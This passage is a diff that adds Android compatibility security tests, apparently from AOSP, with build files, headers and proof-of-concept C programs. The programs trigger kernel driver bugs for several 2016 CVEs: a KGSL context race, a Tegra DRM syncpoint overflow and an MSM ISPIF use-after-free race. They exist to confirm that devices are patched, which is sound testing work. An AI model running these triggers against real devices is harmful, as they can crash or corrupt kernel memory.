+#define KGSL_CONTEXT_TRASH_STATE	0x00000020
+#define KGSL_CONTEXT_PER_CONTEXT_TS	0x00000040
+#define KGSL_CONTEXT_USER_GENERATED_TS	0x00000080
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_END_OF_FRAME	0x00000100
+#define KGSL_CONTEXT_NO_FAULT_TOLERANCE 0x00000200
+/* This is a cmdbatch exclusive flag - use the CMDBATCH equivalent instead */
+#define KGSL_CONTEXT_SYNC               0x00000400
+#define KGSL_CONTEXT_PWR_CONSTRAINT     0x00000800
+
+#define KGSL_IOC_TYPE 0x09
+struct kgsl_drawctxt_create {
+	unsigned int flags;
+	unsigned int drawctxt_id; /*output param */
+};
+
+#define IOCTL_KGSL_DRAWCTXT_CREATE \
+	_IOWR(KGSL_IOC_TYPE, 0x13, struct kgsl_drawctxt_create)
+
+/* destroy a draw context */
+struct kgsl_drawctxt_destroy {
+	unsigned int drawctxt_id;
+};
+
+#define IOCTL_KGSL_DRAWCTXT_DESTROY \
+	_IOW(KGSL_IOC_TYPE, 0x14, struct kgsl_drawctxt_destroy)
+
+struct kgsl_timestamp_event {
+	int type;                /* Type of event (see list below) */
+	unsigned int timestamp;  /* Timestamp to trigger event on */
+	unsigned int context_id; /* Context for the timestamp */
+	void __user *priv;	 /* Pointer to the event specific blob */
+	size_t len;              /* Size of the event specific blob */
+};
+#define IOCTL_KGSL_TIMESTAMP_EVENT \
+	_IOWR(KGSL_IOC_TYPE, 0x33, struct kgsl_timestamp_event)
+int g_fd = -1;
+int g_ctx_id = -1;
+int g_sync_fence_fd = -1;
+struct kgsl_timestamp_event g_event;
+static pthread_cond_t cond = PTHREAD_COND_INITIALIZER;
+static pthread_mutex_t mutex = PTHREAD_MUTEX_INITIALIZER;
+
+void trigger_kgsl_create_drawctx() {
+    struct kgsl_drawctxt_create ctx;
+    ctx.flags = KGSL_CONTEXT_PREAMBLE | KGSL_CONTEXT_NO_GMEM_ALLOC;
+    ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_CREATE, &ctx);
+    g_ctx_id = ctx.drawctxt_id;
+}
+
+void trigger_kgsl_free_drawctx(int id) {
+    struct kgsl_drawctxt_destroy ctx;
+    ctx.drawctxt_id = id;
+    ioctl(g_fd, IOCTL_KGSL_DRAWCTXT_DESTROY, &ctx);
+
+}
+
+void trigger_kgsl_timestamp_event() {
+    ioctl(g_fd, IOCTL_KGSL_TIMESTAMP_EVENT, &g_event);
+}
+
+int open_driver() {
+    char* dev_path = "/dev/kgsl-3d0";
+    g_fd = open(dev_path, O_RDWR);
+    return g_fd;
+}
+
+
+void setup_privi_and_affinity(int privi, unsigned long cpu_mask) {
+    setpriority(PRIO_PROCESS, gettid(), privi);
+}
+
+
+void* race_thread(void* arg) {
+    setup_privi_and_affinity(-19, 2);
+    pthread_mutex_lock(&mutex);
+    pthread_cond_wait(&cond, &mutex);
+    pthread_mutex_unlock(&mutex);
+    while (1) {
+        close(4);
+    }
+    return NULL;
+}
+
+int main(int argc, char**argv) {
+    setup_privi_and_affinity(-19, 1);
+    
+    if (open_driver() < 0) {
+        return -1;
+    }
+    trigger_kgsl_create_drawctx();
+    
+    g_event.type = 2;
+    g_event.context_id = g_ctx_id;
+    g_event.len = 4;
+    g_event.priv = malloc(0x1000);
+    g_event.timestamp = 0;
+    mprotect(g_event.priv, 0x1000, PROT_READ);
+
+    pthread_t tid;
+    pthread_create(&tid, NULL, race_thread, NULL);
+    usleep(100 * 1000);
+    
+    pthread_cond_signal(&cond);
+    usleep(20);
+    while (1) {
+        trigger_kgsl_timestamp_event();
+    }
+
+    return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
new file mode 100644
index 0000000..62efb65
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8435
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
new file mode 100644
index 0000000..70574fe
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/local_pwn.h
@@ -0,0 +1,116 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __local_pwn_H__
+#define __local_pwn_H__
+
+#define SIOCIWFIRSTPRIV 0x8BE0
+#define SIOCGIWNAME     0x8B01
+#define IOCTL_SET_STRUCT_FOR_EM         (SIOCIWFIRSTPRIV + 11)
+#define PRIV_CUSTOM_BWCS_CMD            13
+#define PRIV_CMD_OID                    15
+#define PRIV_CMD_SW_CTRL                20
+#define PRIV_CMD_WSC_PROBE_REQ          22
+
+enum host1x_class {
+        HOST1X_CLASS_HOST1X = 0x1,
+        HOST1X_CLASS_NVENC = 0x21,
+        HOST1X_CLASS_VI = 0x30,
+        HOST1X_CLASS_ISPA = 0x32,
+        HOST1X_CLASS_ISPB = 0x34,
+        HOST1X_CLASS_GR2D = 0x51,
+        HOST1X_CLASS_GR2D_SB = 0x52,
+        HOST1X_CLASS_VIC = 0x5D,
+        HOST1X_CLASS_GR3D = 0x60,
+        HOST1X_CLASS_NVJPG = 0xC0,
+        HOST1X_CLASS_NVDEC = 0xF0,
+};
+
+#define DRM_COMMAND_BASE                0x40
+#define DRM_COMMAND_END                 0xA0
+
+#define DRM_TEGRA_OPEN_CHANNEL          0x05
+#define DRM_TEGRA_CLOSE_CHANNEL         0x06
+#define DRM_TEGRA_SUBMIT		0x08
+
+struct drm_tegra_open_channel {
+        __u32 client;
+        __u32 pad;
+        __u64 context;
+};
+
+struct drm_tegra_close_channel {
+        __u64 context;
+};
+
+struct drm_tegra_submit {
+	__u64 context;
+	__u32 num_syncpts;
+	__u32 num_cmdbufs;
+	__u32 num_relocs;
+	__u32 num_waitchks;
+	__u32 waitchk_mask;
+	__u32 timeout;
+	__u64 syncpts;
+	__u64 cmdbufs;
+	__u64 relocs;
+	__u64 waitchks;
+	__u32 fence;		/* Return value */
+	__u32 reserved0;
+	__u64 fences;
+	__u32 reserved1[2];	/* future expansion */
+};
+
+#define DRM_IOCTL_BASE                  'd'
+#define DRM_IOWR(nr,type)               _IOWR(DRM_IOCTL_BASE,nr,type)
+#define DRM_IOCTL_TEGRA_OPEN_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_OPEN_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_CLOSE_CHANNEL DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_CLOSE_CHANNEL, struct drm_tegra_open_channel)
+#define DRM_IOCTL_TEGRA_SUBMIT DRM_IOWR(DRM_COMMAND_BASE + DRM_TEGRA_SUBMIT, struct drm_tegra_submit)
+
+struct drm_tegra_syncpt {
+	__u32 id;
+	__u32 incrs;
+};
+
+struct list_head {
+	struct list_head *next, *prev;
+};
+
+struct tegra_drm_client_ops {
+	void* open_channel;
+	void* close_channel; 
+	void* reset;
+	void* is_add_reg;
+	void* submit;
+};
+
+struct tegra_drm_client {
+	/* sizeof(host1x_client) is 232 */
+	unsigned char pad[232];	/* maybe gadget arguments */
+	struct list_head list;
+	struct tegra_drm_client_ops *ops;
+};
+
+struct tegra_drm_context {
+	struct tegra_drm_client *client;
+	void *channel;
+	struct list_head list;
+	/* FIXME we need pass lock op */
+	//struct mutex lock;
+	//bool keepon;
+	//struct host1x_user user;
+};
+
+#endif
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
new file mode 100644
index 0000000..ff6acb0
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8435/poc.c
@@ -0,0 +1,74 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <string.h>
+#include <stdio.h>
+#include <stdlib.h>
+#include <sys/ioctl.h>
+#include <errno.h>
+#include <sys/stat.h>
+#include <fcntl.h>
+#include <sys/types.h>
+#include <unistd.h>
+#include <sys/syscall.h>
+
+#include "local_pwn.h"
+
+#define DEV "/dev/dri/renderD129"
+#define SYN_NUM 64
+
+struct drm_tegra_open_channel open_c = { 0 };
+struct drm_tegra_submit submit_c = { 0 };
+struct drm_tegra_syncpt syncpts[SYN_NUM] = { 0 };
+
+int main()
+{
+	int ret;
+	int dev_fd;
+	int i;
+
+	/* open dev */
+	dev_fd = open(DEV,O_RDONLY);
+	if(dev_fd == -1){
+		printf("[-] open dev failed %d %s\n", errno, strerror(errno));
+		return 0;
+	}
+	
+	/* prepare for ioctl */
+	open_c.client = HOST1X_CLASS_VIC;
+	submit_c.num_syncpts = SYN_NUM;
+	submit_c.syncpts = (__u64)syncpts;
+
+	for(i = 1; i < SYN_NUM; i++){
+		syncpts[i].id = 192;
+		syncpts[i].incrs = 0xffff;
+	}
+
+	/* open channel */
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_OPEN_CHANNEL, &open_c);
+	if(ret == -1){
+		printf("[-] open_channel failed %d %s\n", errno, strerror(errno));
+		goto out_dev;
+	}
+	submit_c.context = open_c.context;
+	printf("[+] call submit\n");
+	ret = ioctl(dev_fd, DRM_IOCTL_TEGRA_SUBMIT, &submit_c);
+	printf("[+] submit return %d\n", ret);
+	
+out_dev:
+	close(dev_fd);
+	return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
new file mode 100644
index 0000000..50e2f6a
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8444/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8444
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
new file mode 100644
index 0000000..d681a43
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8444/poc.c
@@ -0,0 +1,78 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/syscall.h>
+#include <stdio.h>
+#include <string.h>
+#include <stdint.h>
+#include <pthread.h>
+
+#define MSM_SD_SHUTDOWN 0xc00856dd
+#define VIDIOC_MSM_ISPIF_CFG 0xc17056c0
+
+struct ispif_cfg_data {
+  int32_t  cfg_type;
+  union {
+    int reg_dump;                        /* ISPIF_ENABLE_REG_DUMP */
+    uint32_t csid_version;               /* ISPIF_INIT */
+    //struct msm_ispif_vfe_info vfe_info;  /* ISPIF_SET_VFE_INFO */
+    //struct msm_ispif_param_data params;  /* CFG, START, STOP */
+  };
+};
+
+long r[11];
+
+int fd;
+struct ispif_cfg_data data;
+
+void *worker_thread(void *arg) {
+
+  int arg1[3] =  {0};
+  switch ((long)arg) {
+  case 0:
+    data.cfg_type = 8; ////release
+    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
+    break;
+  case 1:
+    ioctl(fd, MSM_SD_SHUTDOWN, &arg1);
+    break;
+  }
+  return NULL;
+}
+
+int main() {
+
+  int pid,i;
+  pthread_t th[4];
+  fd = open( "/dev/v4l-subdev17", 0x0ul );
+
+  printf("please wait for several seconds...\n");
+
+  while(1){
+
+    data.cfg_type = 2; ////init
+    data.csid_version = 1;
+    ioctl(fd, VIDIOC_MSM_ISPIF_CFG, &data);
+
+    for (i = 0; i < 2; i++) {
+      pthread_create(&th[i], 0, worker_thread, (void *)(long)i);
+      usleep(10);
+    }
+  }
+  return 0;
+}
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
new file mode 100644
index 0000000..cd6049f
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/Android.mk
@@ -0,0 +1,35 @@
+# Copyright (C) 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+LOCAL_PATH := $(call my-dir)
+
+include $(CLEAR_VARS)
+LOCAL_MODULE := CVE-2016-8448
+LOCAL_SRC_FILES := poc.c
+LOCAL_MULTILIB := both
+LOCAL_MODULE_STEM_32 := $(LOCAL_MODULE)32
+LOCAL_MODULE_STEM_64 := $(LOCAL_MODULE)64
+
+# Tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_CTS_TEST_PACKAGE := android.security.cts
+
+LOCAL_ARM_MODE := arm
+CFLAGS += -Wall -W -g -O2 -Wimplicit -D_FORTIFY_SOURCE=2 -D__linux__ -Wdeclaration-after-statement
+CFLAGS += -Wformat=2 -Winit-self -Wnested-externs -Wpacked -Wshadow -Wswitch-enum -Wundef
+CFLAGS += -Wwrite-strings -Wno-format-nonliteral -Wstrict-prototypes -Wmissing-prototypes
+CFLAGS += -Iinclude -fPIE
+LOCAL_LDFLAGS += -fPIE -pie
+LDFLAGS += -rdynamic
+include $(BUILD_CTS_EXECUTABLE)
diff --git a/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
new file mode 100644
index 0000000..b33073c
--- /dev/null
+++ b/hostsidetests/security/securityPatch/CVE-2016-8448/mtkfb.h
@@ -0,0 +1,397 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+#ifndef __MTKFB_H
+#define __MTKFB_H
+
+#include <linux/types.h>
+#include "mtkfb_info.h"
+
+
+/**NOTICE:
+ * Must be consistent with bionic/libc/kernel/linux/common/mtkfb.h
+ */
+#define MTK_FB_NO_ION_FD                 ((int)(~0U>>1))
+#define MTK_FB_NO_USE_LAEYR_ID			 ((int)(~0U>>1))
+#define FBCAPS_GENERIC_MASK              (0x00000fff)
+#define FBCAPS_LCDC_MASK                 (0x00fff000)
+#define FBCAPS_PANEL_MASK                (0xff000000)
+#define FBCAPS_MANUAL_UPDATE             (0x00001000)
+#define FBCAPS_SET_BACKLIGHT             (0x01000000)
+#define MTKFB_ERROR_IS_EARLY_SUSPEND     (0x12000000)
+/* --------------------------------------------------------------------------- */
+/* IOCTL commands. */
+#define MTK_IOW(num, dtype)     _IOW('O', num, dtype)
+#define MTK_IOR(num, dtype)     _IOR('O', num, dtype)
+#define MTK_IOWR(num, dtype)    _IOWR('O', num, dtype)
+#define MTK_IO(num)             _IO('O', num)
+#define MTKFB_QUEUE_OVERLAY_CONFIG			MTK_IOW(137, struct fb_overlay_config)
+/* -------------------------------------------------------------------------- */
+#define MTKFB_SET_OVERLAY_LAYER                MTK_IOW(0, struct fb_overlay_layer)
+#define MTKFB_TRIG_OVERLAY_OUT                 MTK_IO(1)
+#define MTKFB_SET_VIDEO_LAYERS                 MTK_IOW(2, struct fb_overlay_layer)
+#define MTKFB_CAPTURE_FRAMEBUFFER              MTK_IOW(3, unsigned long)
+#define MTKFB_CONFIG_IMMEDIATE_UPDATE          MTK_IOW(4, unsigned long)
+#define MTKFB_SET_MULTIPLE_LAYERS              MTK_IOW(5, struct fb_overlay_layer)
+#define MTKFB_REGISTER_OVERLAYBUFFER           MTK_IOW(6, struct fb_overlay_buffer_info)
+#define MTKFB_UNREGISTER_OVERLAYBUFFER         MTK_IOW(7, unsigned int)
+#define MTKFB_SET_ORIENTATION                  MTK_IOW(8, unsigned long)
+#define MTKFB_FBLAYER_ENABLE                   MTK_IOW(9, unsigned int)
+#define MTKFB_LOCK_FRONT_BUFFER                MTK_IO(10)
+#define MTKFB_UNLOCK_FRONT_BUFFER              MTK_IO(11)
+#define MTKFB_POWERON				           MTK_IO(12)
+#define MTKFB_POWEROFF				           MTK_IO(13)
+
+/* Fence/Ion, OVL decoupling */
+#define MTKFB_PREPARE_OVERLAY_BUFFER           MTK_IOW(14, struct fb_overlay_buffer)
+
+/* S3D control */
+#define MTKFB_SET_COMPOSING3D                  MTK_IOW(15, unsigned long)
+#define MTKFB_SET_S3D_FTM		               MTK_IOW(16, unsigned long)
+
+/* FM De-sense for EM and Normal mode */
+#define MTKFB_GET_DEFAULT_UPDATESPEED          MTK_IOR(17, unsigned long)
+#define MTKFB_GET_CURR_UPDATESPEED             MTK_IOR(18, unsigned long)
+/* for EM, not called change writecycle because DPI change pll ckl */
+#define MTKFB_CHANGE_UPDATESPEED               MTK_IOW(19, unsigned long)
+#define MTKFB_GET_INTERFACE_TYPE               MTK_IOR(20, unsigned long)	/* /0 DBI, 1 DPI, 2 MIPI */
+#define MTKFB_GET_POWERSTATE		           MTK_IOR(21, unsigned long)	/* /0: power off  1: power on */
+#define MTKFB_GET_DISPLAY_IF_INFORMATION       MTK_IOR(22, mtk_dispif_info_t)
+/*called before SET_OVERLAY each time, if true, hwc will not use FB_LAYER again*/
+#define MTKFB_AEE_LAYER_EXIST                  MTK_IOR(23, unsigned long)
+#define MTKFB_GET_OVERLAY_LAYER_INFO           MTK_IOR(24, struct fb_overlay_layer_info)
+#define MTKFB_FACTORY_AUTO_TEST                MTK_IOR(25, unsigned long)
+#define MTKFB_GET_FRAMEBUFFER_MVA              MTK_IOR(26, unsigned int)
+#define MTKFB_SLT_AUTO_CAPTURE                 MTK_IOWR(27, struct fb_slt_catpure)
+
+/*error handling*/
+#define MTKFB_META_RESTORE_SCREEN              MTK_IOW(101, unsigned long)
+#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT       MTK_IO(103)
+#define MTKFB_ERROR_INDEX_UPDATE_TIMEOUT_AEE   MTK_IO(104)
+
+/*restore bootlogo and character in meta mode*/
+#define MTKFB_META_SHOW_BOOTLOGO               MTK_IO(105)
+
+/*Extension FB active option*/
+#define FB_ACTIVATE_NO_UPDATE  512       /* Skip frame update */
+/**
+ * Just for mt6589 Platform
+ * @{
+ */
+#define MTKFB_GETVFRAMEPHYSICAL                MTK_IOW(41, unsigned long)
+#define MTKFB_WAIT_OVERLAY_READY               MTK_IO(42)
+#define MTKFB_GET_OVERLAY_LAYER_COUNT          MTK_IOR(43, unsigned long)
+#define MTKFB_GET_VIDEOLAYER_SIZE              MTK_IOR(44, struct fb_overlay_layer)
+#define MTKFB_CAPTURE_VIDEOBUFFER              MTK_IOW(45, unsigned long)
+
+/* -------------------------------------------------------------------------- */
+/* Video Playback Mode */
+#define MTKFB_TV_POST_VIDEO_BUFFER             MTK_IOW(46, unsigned long)
+#define MTKFB_TV_LEAVE_VIDEO_PLAYBACK_MODE     MTK_IOW(47, unsigned long)
+/* For Factory Mode */
+#define MTKFB_IS_TV_CABLE_PLUG_IN              MTK_IOW(48, unsigned long)
+
+/* -------------------------------------------------------------------------- */
+#define MTKFB_BOOTANIMATION			           MTK_IO(49)
+#define MTKFB_GETFPS			               MTK_IOW(50, unsigned long)
+#define MTKFB_VSYNC                            MTK_IO(51)
+
+/* ----------------------------------------------------------------------FM De-sense for EM and Normal mode */
+#define MTKFB_FM_NOTIFY_FREQ                   MTK_IOW(52, unsigned long)	/* for Normal mode */
+#define MTKFB_RESET_UPDATESPEED                MTK_IO(53)
+#define MTKFB_SET_UI_LAYER_ALPHA               MTK_IOW(54, unsigned long)
+#define MTKFB_SET_UI_LAYER_SRCKEY              MTK_IOW(55, unsigned long)
+
+#define MTKFB_GET_MAX_DISPLAY_COUNT		       MTK_IOR(56, unsigned int)
+#define MTKFB_SET_FB_LAYER_SECURE              MTK_IOW(57, int)
+/**
+ * @}
+ */
+/* ---------------------------------------------------------------------- */
+
+/* -------------------------------------------------------------------------- */
+
+typedef enum {
+	MTK_FB_ORIENTATION_0 = 0,
+	MTK_FB_ORIENTATION_90 = 1,
+	MTK_FB_ORIENTATION_180 = 2,
+	MTK_FB_ORIENTATION_270 = 3,
+} MTK_FB_ORIENTATION;
+
+
+typedef enum {
+	MTK_FB_TV_SYSTEM_NTSC = 0,
+	MTK_FB_TV_SYSTEM_PAL = 1,
+} MTK_FB_TV_SYSTEM;
+
+
+typedef enum {
+	MTK_FB_TV_FMT_RGB565 = 0,
+	MTK_FB_TV_FMT_YUV420_SEQ = 1,
+	MTK_FB_TV_FMT_UYUV422 = 2,
+	MTK_FB_TV_FMT_YUV420_BLK = 3,
+} MTK_FB_TV_SRC_FORMAT;
+
+typedef enum {
+	LAYER_NORMAL_BUFFER = 0,
+	LAYER_SECURE_BUFFER = 1,
+	LAYER_PROTECTED_BUFFER = 2,
+	LAYER_SECURE_BUFFER_WITH_ALIGN = 0x10001,	/* the higher 16 bits =1 for adding 64 bytes alignment */
+} MTK_FB_OVL_LAYER_SECURE_MODE;
+
+typedef struct _disp_dfo_item {
+	char name[32];
+	int value;
+} disp_dfo_item_t;
+
+/* -------------------------------------------------------------------------- */
+struct fb_slt_catpure {
+	MTK_FB_FORMAT format;
+
+	volatile char *outputBuffer;
+	unsigned int wdma_width;
+	unsigned int wdma_height;
+};
+
+struct fb_scale {
+	unsigned int xscale, yscale;
+};
+
+struct fb_frame_offset {
+	unsigned int idx;
+	unsigned long offset;
+};
+
+struct fb_update_window {
+	unsigned int x, y;
+	unsigned int width, height;
+};
+
+typedef enum {
+	LAYER_2D = 0,
+	LAYER_3D_SBS_0 = 0x1,
+	LAYER_3D_SBS_90 = 0x2,
+	LAYER_3D_SBS_180 = 0x3,
+	LAYER_3D_SBS_270 = 0x4,
+	LAYER_3D_TAB_0 = 0x10,
+	LAYER_3D_TAB_90 = 0x20,
+	LAYER_3D_TAB_180 = 0x30,
+	LAYER_3D_TAB_270 = 0x40,
+} MTK_FB_LAYER_TYPE;
+
+typedef enum {
+	DISP_DIRECT_LINK_MODE,
+	DISP_DECOUPLE_MODE
+} MTK_DISP_MODE;
+struct fb_overlay_mode {
+	MTK_DISP_MODE mode;
+};
+
+typedef enum {			/* map sessions to scenairos in kernel driver */
+	DISP_SESSION_LCM = 1 << 0,	/* DSI0 */
+	DISP_SESSION_MEM = 1 << 1,	/* OVL0->WDMA0 */
+/* Extension mode, Dst buf is provided by user,for Wifi Display or other purpose */
+	DISP_SESSION_WFD = 1 << 2,
+	DISP_SESSION_MHL = 1 << 3,	/* DPI */
+	DISP_SESSION_LCM1 = 1 << 4,	/* DSI1 */
+	DISP_SESSION_MEM1 = 1 << 5,	/* OVL1->WDMA1 */
+	/* TODO:can be extended with other Session Id */
+	SESSION_MASK = 0xff & ~(1 << 6)
+} MTK_DISP_SESSION;
+
+struct fb_overlay_session {
+	unsigned int session;	/* one or more @MTK_DISP_SESSION combined */
+};
+
+struct fb_overlay_decouple {
+	MTK_DISP_MODE mode;
+	unsigned int session;
+};
+struct fb_overlay_buffer {
+	/* Input */
+	int layer_id;
+	unsigned int layer_en;
+	int ion_fd;
+	unsigned int cache_sync;
+	/* Output */
+	unsigned int index;
+	int fence_fd;
+};
+
+struct fb_overlay_layer {
+	unsigned int layer_id;
+	unsigned int layer_enable;
+
+	void *src_base_addr;
+	void *src_phy_addr;
+	unsigned int src_direct_link;
+	MTK_FB_FORMAT src_fmt;
+	unsigned int src_use_color_key;
+	unsigned int src_color_key;
+	unsigned int src_pitch;
+	unsigned int src_offset_x, src_offset_y;
+	unsigned int src_width, src_height;
+
+	unsigned int tgt_offset_x, tgt_offset_y;
+	unsigned int tgt_width, tgt_height;
+	MTK_FB_ORIENTATION layer_rotation;
+	MTK_FB_LAYER_TYPE layer_type;
+	MTK_FB_ORIENTATION video_rotation;
+
+	unsigned int isTdshp;	/* set to 1, will go through tdshp first, then layer blending, then to color */
+
+	int next_buff_idx;
+	int identity;
+	int connected_type;
+	unsigned int security;
+	unsigned int alpha_enable;
+	unsigned int alpha;
+	int fence_fd;		/* 8135 */
+	int ion_fd;		/* 8135 CL 2340210 */
+};
+
+struct fb_overlay_config {
+	int fence;
+	int time;
+	struct fb_overlay_layer layers[4];
+};
+
+struct fb_overlay_buffer_info {
+	unsigned int src_vir_addr;
+	unsigned int size;
+};
+
+struct fb_overlay_layer_info {
+	unsigned int layer_id;
+	unsigned int layer_enabled;	/* TO BE DEL */
+	unsigned int curr_en;
+	unsigned int next_en;
+	unsigned int hw_en;
+	int curr_idx;
+	int next_idx;
+	int hw_idx;
+	int curr_identity;
+	int next_identity;
+	int hw_identity;
+	int curr_conn_type;
+	int next_conn_type;
+	int hw_conn_type;
+	MTK_FB_ORIENTATION layer_rotation;
+};
+/* -------------------------------------------------------------------------- */
+
+struct fb_post_video_buffer {
+	void *phy_addr;
+	void *vir_addr;
+	MTK_FB_TV_SRC_FORMAT format;
+	unsigned int width, height;
+};
+
+#if defined(CONFIG_ARCH_MT6735) || defined(CONFIG_ARCH_MT6735M) || defined(CONFIG_ARCH_MT6753)
+extern unsigned int EnableVSyncLog;
+
+void mtkfb_log_enable(int enable);
